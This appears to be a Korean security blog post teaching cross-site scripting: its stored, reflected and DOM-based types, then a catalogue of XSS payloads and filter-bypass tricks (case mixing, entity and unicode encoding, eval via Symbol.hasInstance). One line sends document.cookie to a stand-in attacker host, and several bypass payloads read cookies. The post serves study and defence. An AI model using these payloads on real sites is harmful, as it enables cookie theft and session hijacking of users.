포스트

XSS(Cross-Site Scripting)

XSS(Cross-Site Scripting)

XSS란?

XSS(Cross-Site Scripting)는 공격자가 공격하려는 사이트에 스크립트를 삽입하는 기법이다.

  • 사이트가 공격당한 사이트에 접속하면, 공격자가 삽입한 스크립트가 실행된다.
  • 이 과정에서 쿠키, 세션 정보 등 정보가 탈취될 수 있다.

XSS의 종류로는 다음과 같다.

  • Stored XSS: 공격자가 악성 스크립트를 웹 서버의 데이터베이스나 파일 시스템과 같은 영구적인 저장 공간에 저장한다. 이후 다른 사용자가 해당 스크립트가 저장된 페이지를 방문하면, 저장된 스크립트가 사용자의 브라우저에서 실행된다.
    • 게시판 글, 댓글, 닉네임 등
  • Reflected XSS: 공격자가 악성 스크립트가 포함된 URL을 생성하여 사용자에게 전달하고, 사용자가 해당 URL을 클릭하면 웹 서버가 사용자로부터 받은 입력 값(악성 스크립트)을 그대로 웹 페이지에 반사(Reflect)하여 사용자의 브라우저에서 스크립트가 실행되도록 한다..
    • 검색 결과 페이지 등
  • DOM-Based XSS: 웹 페이지의 클라이언트 측 JavaScript 코드에 취약점이 있어 발생한다. 서버를 거치지 않고 브라우저의 DOM(Document Object Model) 환경에서 직접 악성 스크립트가 실행된다.
    • 클라이언트 측 JavaScript가 URL 해시(#) 값이나 쿼리 문자열을 읽어와서 HTML 콘텐츠를 동적으로 생성할 때, 해당 값에 악성 스크립트가 포함되어 있다면 웹 페이지가 로드될 때 브라우저에서 스크립트가 실행될 수 있다.

XSS 기법?

script 태그

웹 페이지에 <script> 태그를 직접 삽입하여 그 안에 악성 자바스크립트 코드를 포함시킨다.

1
2
<script>alert("XSS")</script>
<script>document.location="http://attacker.com?cookie="+document.cookie;</script>


HTML 태그 속성의 이벤트 핸들러

HTML 태그 중 on* 형태의 이벤트 핸들러(onload, onclick, onerror 등)에 자바스크립트 코드를 삽입하여, 사용자가 특정 행동을 하거나 페이지가 로드될 때 코드가 실행되도록 한다.

1
2
3
4
5
6
7
<img src="x" onerror="alert('XSS');">
<img src="valid.jpg" onload="alert('XSS');">
<img src="valid.jpg" onclick="alert('XSS');">

<body onload="alert('XSS');">
<svg onload="alert('XSS');">
<a href="#" onclick="alert('XSS')"></a>
  • onerror: 로드에 실패했을 때 실행할 스크립트를 지정한다. 실제 이미지가 존재하지 않아도 되므로 공격자가 쉽게 이용할 수 있다.
  • onload: 로드에 성공했을 때 실행할 스크립트를 지정한다.
  • onclick: 클릭했을 때 실행할 스크립트를 지정한다.
  • 이외 onmouseover, onfocus, onblur 등 다양한 이벤트 핸들러들이 있다.

CSS를 이용한 XSS

CSS 자체는 스크립트를 실행하지 않지만, CSS 속성 중 url()이나 @import를 이용해 외부 스크립트를 간접적으로 로드할 수 있다.

1
2
3
@import url("javascript:alert('XSS')");
background-image:
  url("javascript:alert('XSS')");


의사 프로토콜 이용

<a> 태그의 href 속성이나 다른 URL을 허용하는 속성에서 javascript: 프로토콜을 이용하여 URL 대신 자바스크립트를 실행할 수 있다.

1
2
<a href="javascript:alert('XSS')">클릭하면 XSS</a>
<iframe src="javascript:alert('XSS')"></iframe>


meta 태그 이용

<meta> 태그의 http-equiv="refresh" 속성을 사용하여, 페이지를 특정 URL로 리다이렉트시키면서 url 속성에 javascript: 프로토콜을 삽입하여 XSS를 유발할 수 있다.

1
<meta http-equiv="refresh" content="0;url=javascript:alert('XSS');">

다양한 필터링 우회 방법

html 태그에서 \r, \t 등은 1바이트 raw한 데이터를 의미한다. 역슬래시와 ‘r’/’t’ 2바이트가 아니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!-- 키워드 치환 우회 -->
<scscriptript>alert(1)</scscriptript>
<!-- 필터링 이후 -->
<script>alert(1)</script>

<!-- 대소문자를 이용한 우회 -->
<ScRipt>AlERT('XSS')</sCrIPT> 

<!-- 멀티라인에 대한 검사가 없는 경우 -->
<img src=""\nonerror="alert(document.cookie)"/> 

<!-- HTML Entity Encoding을 활용한 우회 -->
<&#115ript>alert('xss')</&#115ript>

<!-- 특수문자를 이용한 우회(정규화 과정에서 제거됨) -->
<a href="j\t\tavascript:alert(1)"> 

<!-- script src 속성을 이용한 우회 -->
<script src="data:,alert(document.cookie)"></script> 

<!-- 이외 다양한 태그들을 활용한 XSS -->
<video><source onerror="alert('XSS');"></video>
<body onload="alert('XSS')"/>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// Unicode Escape Sequence
\u0061lert(document.cookie);

// Computed Member Access
\u0061lert(document["coo"+"kie"])
window["al\x65rt"](document["coo"+"\u006bie"])

// == eval(alert('XSS'))
Function(alert('XSS'))()

// == Function(alert('XSS'))
isNaN["constructor"](alert('XSS'))()

// Template Literals
var A = "Hello";
var B = "World";
var C = `${A}, ${B}!`; // baz = "Hello, World!"

// RegExp
/Hello World!/.source; // "Hello World!"
/test !/+[];           // "/test !/"
/test !/+"";           // "/test !/"

// String.fromCharCode
String.fromCharCode(72,101,108,108,111); "Hello"

// 기본 내장 함수 혹은 객체의 문자
history.toString() // "[object History]"
history+[]         // "[object History]"
history+""         // "[object History]"
eval.toString()    // "function eval() { [native code] }"
eval+[]            // "function eval() { [native code] }"
eval+""            // "function eval() { [native code] }"

//숫자 객체 진법 변환
(43804).toString(36) // xss
43804..toString(36)  // xss
43804 .toString(36)  // xss

// 백틱 함수 호출
alert`1` // == alert(1)

// Symbol.hasInstance 오버라이딩
"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];

// 예시 1
Boolean["con".concat("structor")]("al".concat("ert(").concat("docu").concat("ment.cook").concat("ie)"))()

// 예시 2
var a = URL+[];
/alert/.source + a[12] + /document.cookie/.source + a[13] instanceof {[Symbol.hasInstance]:eval}
이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.

"Client-Side" 카테고리의 게시물